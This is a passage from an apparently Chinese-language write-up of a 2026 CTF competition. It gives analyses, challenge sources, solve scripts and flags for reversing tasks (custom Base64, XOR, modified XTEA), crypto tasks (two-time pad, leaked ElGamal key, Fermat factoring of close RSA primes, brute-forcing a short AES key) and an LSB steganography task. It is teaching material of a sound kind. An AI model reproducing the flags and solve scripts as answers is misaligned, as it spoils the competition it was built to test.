&lt;p&gt;LitCTF{rev03_tea_standard!!}&lt;/p&gt;
&lt;h2&gt;lit_b64_alphabet&lt;/h2&gt;
&lt;p&gt;IDA打开程序，逻辑全在main函数，就是一个换了字母表的Base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;每 3 字节 -&amp;amp;gt; 24 bit -&amp;amp;gt; 拆 4 段 6 bit -&amp;amp;gt; 查表 &lt;code&gt;g\_alphabet&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;末尾不足 3 字节用 &lt;code&gt;=&lt;/code&gt; 补齐&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编码结果与 &lt;code&gt;g\_expected&lt;/code&gt; 直接 &lt;code&gt;strcmp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;字母表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密文比对加判断&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

# 0x140012080: 自定义 Base64 字母表
CUSTOM_ALPHABET = &quot;2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI&quot;

# RFC 4648 标准 Base64 字母表
STD_ALPHABET = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;

# 0x140012040: 程序内嵌的期望密文
EXPECTED = &quot;zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==&quot;

def solve(ciphertext: str) -&amp;gt; str:
    assert len(CUSTOM_ALPHABET) == 64 and len(set(CUSTOM_ALPHABET)) == 64
    trans = str.maketrans(CUSTOM_ALPHABET, STD_ALPHABET)
    mapped = ciphertext.translate(trans)
    return base64.b64decode(mapped).decode()

if __name__ == &quot;__main__&quot;:
    flag = solve(EXPECTED)
    print(&quot;[+] mapped :&quot;, EXPECTED.translate(str.maketrans(CUSTOM_ALPHABET, STD_ALPHABET)))
    print(&quot;[+] flag   :&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev02_custom_b64_table!}&lt;/p&gt;
&lt;h2&gt;lit_xor_chain&lt;/h2&gt;
&lt;p&gt;main函数如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;Figure 50&quot; /&gt;&lt;/p&gt;
&lt;p&gt;逻辑非常直白：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;读入 30 字节字符串。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对每个字节先 &lt;code&gt;xor 0x52&lt;/code&gt;，再 &lt;code&gt;\+ 5&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与 &lt;code&gt;g\_expected&lt;/code&gt; 数组逐字节比较。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;Figure 51&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;expected = bytes([
    0x23, 0x40, 0x2B, 0x16, 0x0B, 0x19, 0x2E, 0x25,
    0x3C, 0x29, 0x67, 0x68, 0x12, 0x2F, 0x42, 0x25,
    0x12, 0x2B, 0x3F, 0x3C, 0x41, 0x12, 0x38, 0x3B,
    0x3B, 0x12, 0x42, 0x3E, 0x78, 0x34,
])

flag = bytes(((b - 5) &amp;amp; 0xFF) ^ 0x52 for b in expected)
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev01_xor_then_add_ok!}&lt;/p&gt;
&lt;h2&gt;lit_xtea_tweak&lt;/h2&gt;
&lt;p&gt;输入先8字节对齐&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;Figure 52&quot; /&gt;&lt;/p&gt;
&lt;p&gt;PKC#7风格填充&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-53.png&quot; alt=&quot;Figure 53&quot; /&gt;&lt;/p&gt;
&lt;p&gt;明文长度32&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-54.png&quot; alt=&quot;Figure 54&quot; /&gt;&lt;/p&gt;
&lt;p&gt;魔改的xtea算法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;4 × 32-bit 子密钥 &lt;code&gt;g\_key&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;64-bit 块,32 轮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但常量 &lt;code&gt;delta&lt;/code&gt; 被换成了 &lt;code&gt;0xDEADBEEF&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;559038737 == 0x21524111 == \-0xDEADBEEF \(mod 2^32\)&lt;/code&gt;,所以 &lt;code&gt;i \-= 559038737&lt;/code&gt; 即 &lt;code&gt;i \+= 0xDEADBEEF&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;终止值 &lt;code&gt;\-709370400 == 0xD5C593E0 == \(0xDEADBEEF \* 32\) \&amp;amp;amp; 0xFFFFFFFF&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-55.png&quot; alt=&quot;Figure 55&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用到的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;Figure 56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

CIPHER = bytes([
    0xE3, 0xEE, 0x1E, 0xE7, 0xD3, 0xA7, 0x96, 0x6F,
    0xC6, 0xA7, 0xB9, 0xE1, 0xB9, 0x4E, 0x67, 0x86,
    0x5F, 0x03, 0x04, 0xA6, 0xDB, 0xBB, 0xB9, 0x40,
    0x56, 0x3A, 0xF7, 0x9E, 0xEE, 0x64, 0xD4, 0x06,
])

KEY = [0x11111111, 0x22222222, 0x33333333, 0x44444444]

DELTA  = 0xDEADBEEF
ROUNDS = 32
MASK   = 0xFFFFFFFF

def xtea_decrypt_block(v0: int, v1: int, key, rounds=ROUNDS, delta=DELTA):

    s = (delta * rounds) &amp;amp; MASK
    for _ in range(rounds):
        v1 = (v1 - ((((v0 &amp;lt;&amp;lt; 4) ^ (v0 &amp;gt;&amp;gt; 5)) + v0) &amp;amp; MASK ^ (s + key[(s &amp;gt;&amp;gt; 11) &amp;amp; 3]) &amp;amp; MASK)) &amp;amp; MASK
        s  = (s - delta) &amp;amp; MASK
        v0 = (v0 - ((((v1 &amp;lt;&amp;lt; 4) ^ (v1 &amp;gt;&amp;gt; 5)) + v1) &amp;amp; MASK ^ (s + key[s &amp;amp; 3]) &amp;amp; MASK)) &amp;amp; MASK
    return v0, v1

def main():
    plain = b&quot;&quot;
    for i in range(0, len(CIPHER), 8):
        a, b = struct.unpack(&quot;&amp;lt;II&quot;, CIPHER[i:i+8])
        a, b = xtea_decrypt_block(a, b, KEY)
        plain += struct.pack(&quot;&amp;lt;II&quot;, a, b)

    pad = plain[-1]
    if 1 &amp;lt;= pad &amp;lt;= 8 and plain.endswith(bytes([pad]) * pad):
        plain = plain[:-pad]

    print(&quot;flag:&quot;, plain.decode())

if __name__ == &quot;__main__&quot;:
    main()


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev04_xtea_delta_twk!}&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;lit_xor_two_story&lt;/h2&gt;
&lt;p&gt;题目原件是一个py脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — One-time pad reused for two messages (40 bytes each).

Players receive output.txt and README; they do not receive secret.py.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
import os
from pathlib import Path

try:
    from secret import M1_FLAG
except ImportError:
    raise SystemExit(
        &quot;secret.py (organizer) is required to generate ciphertext; &quot;
        &quot;players work from output.txt only.&quot;
    )

# Public second message — duplicated in README for contestants.
M2_KNOWN = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;

assert len(M1_FLAG) == len(M2_KNOWN) == 40


def xor_bytes(a: bytes, b: bytes) -&amp;gt; bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write hex lines to file.&quot;,
    )
    args = parser.parse_args()

    n = len(M1_FLAG)
    k = os.urandom(n)
    c1 = xor_bytes(M1_FLAG, k)
    c2 = xor_bytes(M2_KNOWN, k)

    lines = [
        f&quot;c1 = {c1.hex()}&quot;,
        f&quot;c2 = {c2.hex()}&quot;,
        f&quot;len = {n}&quot;,
    ]
    text = &quot;\n&quot;.join(lines) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
# len = 40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;M2_KNOWN = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;   # 40 字节，已公开
assert len(M1_FLAG) == len(M2_KNOWN) == 40

n = len(M1_FLAG)
k = os.urandom(n)               # 随机密钥
c1 = xor_bytes(M1_FLAG, k)      # 加密 flag
c2 = xor_bytes(M2_KNOWN, k)     # 用同一把 k 加密公开消息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
len = 40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键点：&lt;strong&gt;同一把一次性密钥 `k` 被用于两条消息&lt;/strong&gt;，且其中一条 `M2` 完全已知。这是经典的 OTP key‑reuse（two‑time pad）漏洞。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;求解脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c1 = bytes.fromhex(&quot;5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28&quot;)
c2 = bytes.fromhex(&quot;5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474&quot;)
m2 = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;

flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;Figure 57&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{otp_reuse_never_twice_same_key__}&lt;/p&gt;
&lt;h2&gt;lit_elgamal_handshake&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — ElGamal handshake (story)
Someone left debug logging on; the private exponent x was printed alongside ciphertext.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path
from random import randrange

from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange

try:
    from secret import FLAG
except ImportError as e:
    raise SystemExit(&quot;secret.py (FLAG) is required to encrypt.&quot;) from e


def generate_elgamal_keypair(bits: int = 512) -&amp;gt; tuple[int, int, int, int]:
    p = getPrime(bits)
    for _ in range(1000):
        g = getRandomRange(2, min(6, p - 1))
        if pow(g, (p - 1) // 2, p) != 1:
            break
    else:
        raise RuntimeError(&quot;could not find suitable g&quot;)
    x = randrange(2, p - 1)
    y = pow(g, x, p)
    return p, g, y, x


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write captured output to this file (for organizers).&quot;,
    )
    args = parser.parse_args()

    p, g, y, x = generate_elgamal_keypair(bits=512)
    k = randrange(1, p - 2)
    m = bytes_to_long(FLAG)
    if m &amp;gt;= p:
        raise ValueError(&quot;flag too large for chosen p — shorten FLAG&quot;)

    c1 = pow(g, k, p)
    c2 = (m * pow(y, k, p)) % p

    lines = [
        &quot;=== Public key (p, g, y) ===&quot;,
        f&quot;p = {p}&quot;,
        f&quot;g = {g}&quot;,
        f&quot;y = {y}&quot;,
        &quot;&quot;,
        &quot;=== Ciphertext (c1, c2) ===&quot;,
        f&quot;c1 = {c1}&quot;,
        f&quot;c2 = {c2}&quot;,
        &quot;&quot;,
        &quot;# [DEBUG] prod accidentally logged the long-term secret:&quot;,
        f&quot;x = {x}&quot;,
    ]
    text = &quot;\n&quot;.join(lines) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# === Public key (p, g, y) ===
# p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
# g = 3
# y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357

# === Ciphertext (c1, c2) ===
# c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
# c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

# # [DEBUG] prod accidentally logged the long-term secret:
# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目实现了一个标准的 ElGamal 加密方案，但在调试输出中&amp;amp;#34;意外地&amp;amp;#34;打印了长期私钥 &lt;code&gt;x&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;公开参数&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g = 3
y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;密文&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;泄漏的私钥&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;ElGamal 回顾&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;加密过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;选取随机数 &lt;code&gt;k&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;c1 = g^k mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;c2 = m · y^k mod p&lt;/code&gt;，其中 &lt;code&gt;y = g^x mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解密过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;共享秘密 &lt;code&gt;s = c1^x mod p = g^\(kx\) mod p = y^k mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;明文 &lt;code&gt;m = c2 · s^\(\-1\) mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes

p  = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g  = 3
y  = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x  = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

s = pow(c1, x, p)
m = (c2 * pow(s, -1, p)) % p
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;Figure 58&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{elgamal_leak_makes_happy_decrypt}&lt;/p&gt;
&lt;h2&gt;lit_rsa_neighbor&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — RSA where q is &apos;far&apos; along the prime line but still close enough to p for Fermat.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path

import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime

try:
    from secret import FLAG, NEXT_PRIME_STEPS
except ImportError as e:
    raise SystemExit(
        &quot;secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS).&quot;
    ) from e

E = 65537


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write n, c to this file.&quot;,
    )
    args = parser.parse_args()

    p = getPrime(512)
    q = p
    for _ in range(NEXT_PRIME_STEPS):
        q = int(gmpy2.next_prime(q))

    n = p * q
    m = bytes_to_long(FLAG)
    if m &amp;gt;= n:
        raise ValueError(&quot;flag too large for n&quot;)

    c = pow(m, E, n)

    lines_players = [f&quot;{n = }&quot;, f&quot;{c = }&quot;, f&quot;e = {E}&quot;]
    text = &quot;\n&quot;.join(lines_players) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
# c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
# e = 65537
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目源码核心逻辑:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
    q = int(gmpy2.next_prime(q))

n = p * q
c = pow(m, E, n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;q&lt;/code&gt; 是从 &lt;code&gt;p&lt;/code&gt; 开始连续调用 &lt;code&gt;next\_prime&lt;/code&gt; 若干次得到的,因此 &lt;code&gt;p&lt;/code&gt; 和 &lt;code&gt;q&lt;/code&gt; 非常接近(只差几个素数间隙)。&lt;/p&gt;
&lt;p&gt;给定数据:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解题思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 `p` 和 `q` 很接近时,适用 &lt;strong&gt;Fermat 因式分解法&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;设 &lt;code&gt;n = p \* q&lt;/code&gt;,令 &lt;code&gt;a = \(p \+ q\) / 2&lt;/code&gt;,&lt;code&gt;b = \(q \- p\) / 2&lt;/code&gt;,则:&lt;/p&gt;
&lt;p&gt;$n = a^2 - b^2$&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;a = ⌈√n⌉&lt;/code&gt; 开始递增,每次检查 &lt;code&gt;a² \- n&lt;/code&gt; 是否为完全平方数。当 &lt;code&gt;p&lt;/code&gt; 和 &lt;code&gt;q&lt;/code&gt; 接近时,&lt;code&gt;a&lt;/code&gt; 离 &lt;code&gt;√n&lt;/code&gt; 很近,迭代次数极少。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

# Fermat factorization
a = gmpy2.isqrt(n) + 1
count = 0
while True:
    b2 = a * a - n
    if gmpy2.is_square(b2):
        b = gmpy2.isqrt(b2)
        p = int(a - b)
        q = int(a + b)
        print(f&quot;Found after {count} iterations&quot;)
        print(f&quot;p = {p}&quot;)
        print(f&quot;q = {q}&quot;)
        break
    a += 1
    count += 1
    if count % 100000 == 0:
        print(f&quot;iter {count}&quot;)

assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(int(m))
print(flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;Figure 59&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{rsa_fermat_finds_close_primes}&lt;/p&gt;
&lt;h2&gt;lit_tiny_key_aes&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — AES-128-ECB with a mostly fixed key (weak operational policy).
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

try:
    from secret import FLAG, UNKNOWN_KEY_SUFFIX
except ImportError as e:
    raise SystemExit(
        &quot;secret.py is required to generate ciphertext (contains FLAG and key suffix).&quot;
    ) from e

KEY_PREFIX = b&quot;LitCTF2026!!!&quot;  # 13 bytes; 3 bytes brute-forced
assert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16


def encrypt_aes_ecb_pkcs7(plaintext: bytes, key: bytes) -&amp;gt; bytes:
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(pad(plaintext, AES.block_size))


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write ciphertext hex to this file.&quot;,
    )
    args = parser.parse_args()

    key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX
    c = encrypt_aes_ecb_pkcs7(FLAG, key)
    line = f&quot;c = {c!r}\n&quot;
    print(line, end=&quot;&quot;)
    if args.write:
        args.write.write_text(line, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# c = b&quot;\x0c\xdb&apos;`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J&amp;lt;\x86\x19\x06K\xb3\xa2\xa4\x18\x87&amp;lt;v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出一份 AES-128-ECB 加密脚本和一段密文：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KEY_PREFIX = b&quot;LitCTF2026!!!&quot;  # 13 bytes; 3 bytes brute-forced
assert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键信息：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AES-128 密钥共 16 字节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前 13 字节是已知常量 &lt;code&gt;LitCTF2026\!\!\!&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;后 3 字节随机未知（即 &lt;code&gt;UNKNOWN\_KEY\_SUFFIX&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注释里也写明 &lt;code&gt;3 bytes brute\-forced&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;未知部分仅 3 字节，搜索空间 256³ ≈ 1.6×10⁷，单机几十秒内即可枚举完。&lt;/p&gt;
&lt;p&gt;对每个候选 key 解密，再用两条筛选条件锁定真 key：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;PKCS7 &lt;code&gt;unpad&lt;/code&gt; 不抛异常（过滤掉绝大多数错误 key）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解密结果全部是可打印 ASCII&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from itertools import product

KEY_PREFIX = b&quot;LitCTF2026!!!&quot;
c = b&quot;\x0c\xdb&apos;`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd&quot; \
    b&quot;\x0c\xb9\xb6\xb2J&amp;lt;\x86\x19\x06K\xb3\xa2\xa4\x18\x87&amp;lt;&quot; \
    b&quot;v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3&quot;

for s in product(range(256), repeat=3):
    key = KEY_PREFIX + bytes(s)
    pt = AES.new(key, AES.MODE_ECB).decrypt(c)
    try:
        flag = unpad(pt, 16)
    except ValueError:
        continue
    if all(32 &amp;lt;= b &amp;lt; 127 for b in flag):
        print(f&quot;suffix = {bytes(s)!r}&quot;)
        print(f&quot;flag   = {flag.decode()}&quot;)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;Figure 60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{aes_tiny_brut3_for_the_win!}&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;lit_lsb_base64&lt;/h2&gt;
&lt;p&gt;题目提示是LSB隐写，直接扔进随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;Figure 61&quot; /&gt;&lt;/p&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;Figure 62&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{lsb_1s_fun_w1th_b4s3_64}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_rush_qr&lt;/h2&gt;
